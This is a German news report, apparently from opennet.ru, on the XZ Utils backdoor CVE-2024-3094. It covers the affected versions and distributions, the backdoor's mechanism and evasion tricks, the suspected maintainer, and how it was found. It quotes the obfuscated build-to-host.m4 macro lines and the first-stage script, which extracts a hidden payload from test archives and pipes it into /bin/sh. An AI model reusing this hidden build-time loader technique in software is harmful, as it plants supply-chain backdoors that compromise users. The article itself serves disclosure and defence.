Im Paket XZ Utils, das die Bibliothek liblzma und Tools zum Arbeiten mit Daten im komprimierten '.xz'-Format umfasst, wurde ein Backdoor (CVE-2024-3094) gefunden, das es ermöglicht, Daten, die von Anwendungen verarbeitet werden, die mit der Bibliothek liblzma verbunden sind, abzufangen und zu modifizieren. Das Hauptziel des Backdoors ist der OpenSSH-Server, der in einigen Distributionen mit der Bibliothek libsystemd verbunden ist, die wiederum liblzma verwendet. Die Verknüpfung von sshd mit der verwundbaren Bibliothek ermöglicht es Angreifern, ohne Authentifizierung auf den SSH-Server zuzugreifen.
Das Backdoor war in den offiziellen Versionen 5.6.0 und 5.6.1 enthalten, die am 24. Februar und 9. März veröffentlicht wurden und es in einige Distributionen und Repositories geschafft haben, zum Beispiel Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide und 40-beta, openSUSE factory und tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Allen Nutzern der Versionen xz 5.6.0 und 5.6.1 wird dringend geraten, auf die Version 5.4.6 zurückzukehren.
Unter den Faktoren, die das Problem mildern, kann angemerkt werden, dass die liblzma-Version mit dem Backdoor nicht in die stabilen Veröffentlichungen großer Distributionen aufgenommen wurde, jedoch openSUSE Tumbleweed und Fedora 40-beta betroffen sind. Arch Linux und Gentoo verwendeten die verwundbare zx-Version, sind jedoch nicht angreifbar, da sie den Patch für openssh zur Unterstützung von systemd-notify nicht implementieren, der dazu führt, dass sshd mit liblzma verknüpft wird. Der Backdoor betrifft nur x86_64 Systeme auf Basis des Linux-Kernels und der C-Bibliothek Glibc.
Der Code zur Aktivierung des Backdoors war in den m4-Makros der Datei build-to-host.m4 verborgen, die beim Erstellen mit dem Automake-Toolkit verwendet wurde. Während des Build-Prozesses entstanden durch komplexe obfuskiert Operationen auf Basis von Archiven (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), die zur Überprüfung der Funktionsfähigkeit eingesetzt wurden, Objektdateien mit schadhafter Software, die in die Bibliothek liblzma integriert wurde und die Logik einiger ihrer Funktionen veränderte. Die aktiverenden Backdoor m4-Makros waren Teil von tar-Archiven der Releases, waren aber im Git-Repository nicht vorhanden. Gleichzeitig waren die schädlichen Testarchive im Repository vorhanden, was bedeutet, dass derjenige, der den Backdoor eingebracht hat, sowohl Zugang zum Repository als auch zu den Build-Prozessen hatte.
Beim Einsatz von liblzma in Anwendungen konnten schädliche Modifikationen verwendet werden, um Daten abzufangen oder zu verändern sowie die Funktionsweise von sshd zu beeinflussen. Insbesondere ersetzte der schädliche Code die Funktion RSA_public_decrypt, um den Authentifizierungsprozess in sshd zu umgehen. Der Backdoor beinhaltete Erkennungsschutz und zeigte sich nicht bei gesetzten Umgebungsvariablen LANG und TERM (d.h. beim Starten eines Prozesses im Terminal) und nicht gesetzten Umgebungsvariablen LD_DEBUG und LD_PROFILE. Außerdem wurde er nur aktiviert, wenn die ausführbare Datei \/usr\/sbin\/sshd ausgeführt wurde. Im Backdoor waren auch Mechanismen zur Erkennung des Starts in Debug-Umgebungen vorhanden.
Insbesondere wurden in der Datei m4\/build-to-host.m4 Konstruktionen verwendet: gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir\/ 2>\/dev\/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>\/dev\/null’
In der ersten Konstruktion fand der Befehl grep die Datei tests/files/bad-3-corrupt_lzma2.xz, bei deren Entpackung folgendes Skript erstellt wurde: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../.. /config.status; then eval `grep ^srcdir= ../.. /config.status` srcdir="../.. /$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)"; (xz -dc $srcdir/tests/files/good-large_compressed.lzma | eval $i | tail -c +31233 | tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377") | xz -F raw --lzma1 -dc | /bin/sh ####World####
Wie es den Angreifern gelungen ist, Zugriff auf die Infrastruktur des xz-Projekts zu erhalten, ist noch nicht vollständig geklärt. Auch unklar ist, wie viele Nutzer und Projekte infolge des Backdoors kompromittiert wurden. Der mutmaßliche Autor des Backdoors (JiaT75 - Jia Tan), der Archive mit bösartigem Code im Repository hinterlegte, hatte mit den Entwicklern von Fedora kommuniziert und Pull-Requests an Debian gesendet, die mit dem Übergang der Distributionen auf die Version xz 5.6.0 verbunden waren, und er erregte dabei keine Verdachtsmomente, da er in den letzten zwei Jahren an der Entwicklung von xz beteiligt war und der Entwickler mit den zweitmeisten Änderungen ist. Neben dem xz-Projekt war der mutmaßliche Autor des Backdoors auch an der Entwicklung der Pakete xz-java und xz-embedded beteiligt. Darüber hinaus wurde Jia Tan vor einigen Tagen in die Gruppe der Maintainer des Projekts XZ Embedded aufgenommen, das im Linux-Kernel verwendet wird.
Schadhafte Änderungen wurden nach einer Analyse des übermäßigen CPU-Verbrauchs und der von Valgrind gemeldeten Fehler beim SSH-Zugang zu Debian sid-Systemen festgestellt. Auffällig ist, dass in das Release xz 5.6.1 Änderungen aufgenommen wurden, die vom mutmaßlichen Autor des Backdoors als Reaktion auf Beschwerden über langsame Leistung und Ausfälle von sshd nach dem Update auf die Version zx 5.6.0 mit dem Backdoor vorgenommen wurden. Zudem hat Jia Tan im letzten Jahr Änderungen eingeführt, die nicht mit dem Überprüfungsmodus „-fsanitize=address“ kompatibel sind, was dessen Deaktivierung während der Fuzzing-Tests zur Folge hatte.
Quelle: opennet.ru
